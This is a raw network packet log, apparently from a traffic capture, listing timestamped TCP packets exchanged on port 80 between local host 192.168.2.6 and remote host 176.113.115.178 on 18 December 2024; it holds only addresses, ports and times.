Dec 18, 2024 13:49:54.858648062 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:54.859173059 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:54.900005102 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:54.999345064 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:54.999476910 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:54.999726057 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:54.999866009 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.000308990 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.000360012 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:55.000696898 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.001059055 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.001117945 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:55.001678944 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.001872063 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.002177954 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:55.002639055 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.002850056 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.002948999 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:55.003643036 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.003952026 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.003988981 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:55.004646063 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.004873991 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.004952908 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:55.005654097 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.005986929 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.006151915 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:55.006666899 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.006895065 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.007035017 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:55.007654905 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.007906914 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.007996082 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:55.008692026 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.008920908 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.009290934 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:55.009661913 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.009900093 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.009985924 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:55.010704994 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.010879993 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.011507988 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:55.011687994 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.011884928 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.011987925 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:55.012693882 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.012919903 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.013159037 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:55.013675928 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.013901949 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.013986111 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:55.014693975 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.014919996 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.015018940 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:55.015755892 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.015985966 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.016076088 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:55.016792059 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.016968012 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.017231941 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:55.017739058 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.017956972 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.018174887 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:55.018723965 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.018953085 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.018995047 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:55.019712925 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.019974947 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.020699024 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:55.020806074 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.021014929 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.021122932 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:55.021732092 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.021994114 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.022068977 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:55.022885084 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.023024082 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.023089886 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:55.023845911 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.024036884 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.024092913 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:55.024746895 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.024985075 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.025441885 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:55.025799036 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.025981903 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.026082039 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:55.026761055 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.026976109 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.027019978 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:55.027772903 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.028017998 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.028073072 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:55.028883934 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.029053926 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.029165030 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:55.029875994 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.030113935 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.030262947 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:55.030863047 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.031074047 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.031131983 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:55.031784058 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.032016993 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.032362938 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:55.032798052 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.033042908 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.033123016 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:55.033791065 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.034034014 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.034434080 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:55.034867048 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.035053968 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.035135984 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:55.035866976 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.036107063 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.036170006 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:55.036818981 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.037067890 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.037193060 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:55.037818909 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.038037062 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.038234949 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:55.038840055 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.039060116 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.039105892 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:55.039832115 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.040047884 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.040743113 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:55.040899992 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.041074038 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.041117907 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:55.041857958 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.042068958 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.042304993 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:55.042903900 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.043090105 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.043153048 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:55.043857098 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.044083118 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.044131994 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:55.044871092 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.045092106 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.045185089 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:55.045875072 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.046116114 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.046451092 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:55.046967983 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.047231913 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.047331095 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:55.048044920 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.048255920 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.048378944 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:55.049105883 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.049320936 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.049452066 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:55.050045967 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.050168991 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.050280094 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:55.051117897 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.051291943 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.051523924 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:55.051954031 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.103107929 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:55.191474915 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.191725016 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.192047119 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:55.192101955 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.192533016 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.192610025 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:55.192975998 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.193377018 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.193530083 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:55.193912983 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.194215059 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.194412947 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:55.194951057 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.195188046 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.195254087 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:55.196028948 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.196119070 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.196158886 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:55.196834087 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.197082996 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.197267056 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:55.197822094 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.198065996 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.198137045 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:55.198812962 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.199011087 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.199151993 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:55.199774981 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.200006008 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.200056076 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:55.200758934 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.200958967 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.201169014 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:55.201843023 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.202050924 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.202523947 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:55.202692986 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.202914000 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.202967882 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:55.203651905 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.203891993 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.204004049 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:55.204704046 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.204893112 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.204957008 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:55.205637932 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.205857038 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.206269026 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:55.206595898 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.206836939 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.206887960 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:55.207602978 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.207803011 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.207906008 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:55.208592892 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.208853960 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.208901882 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:55.209531069 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.209784031 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.210055113 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:55.210726023 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.210901022 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.211005926 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:55.211544037 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.211760998 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.211819887 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:55.212543011 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.212765932 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.212817907 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:55.213531971 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.213707924 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.213835955 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:55.214508057 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.214699984 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.214854956 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:55.215514898 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.215701103 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.216202021 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:55.216485023 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.216792107 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.216845036 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:55.218272924 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.218457937 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.218504906 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:55.219063044 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.219222069 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.219372034 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:55.219933987 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.220181942 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.220232964 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:55.220752954 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.220948935 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.221061945 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:55.221577883 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.221776962 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.221991062 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:55.222388029 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.222515106 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.222780943 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:55.223371983 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.223612070 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.223697901 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:55.224199057 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.224462032 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.224509954 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:55.225253105 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.225440025 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.225608110 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:55.226231098 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.226425886 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.226567030 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:55.227180004 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.227406025 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.227701902 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:55.228159904 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.228368044 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.228410959 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:55.229126930 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.229357958 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.229454994 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:55.230185986 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.230355024 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.230408907 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:55.231117010 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.231422901 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.231467962 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:55.232182980 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.232428074 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.232557058 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:55.233093023 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.233315945 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.233412981 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:55.234059095 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.234277010 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.234524965 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:55.235044003 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.235254049 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.235305071 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:55.236187935 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.236327887 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.236366034 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:55.237024069 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.237229109 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.237284899 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:55.237936020 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.238166094 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.238238096 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:55.238944054 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.239141941 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.239288092 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:55.239902973 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.240133047 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.240192890 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:55.240943909 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.241190910 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.241266966 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:55.241980076 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.242177963 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.242258072 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:55.242759943 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.290657043 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:55.383944988 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.384200096 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.384290934 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:55.384604931 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.385030031 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.385116100 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:55.385447979 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.385812044 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.385947943 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:55.386323929 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.386662960 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.386702061 CET	49822	80	192.168.2.6	176.113.115.178
Dec 18, 2024 13:49:55.387298107 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.387527943 CET	80	49822	176.113.115.178	192.168.2.6
Dec 18, 2024 13:49:55.387583971 CET	49822	80	192.168.2.6	176.113.115.178
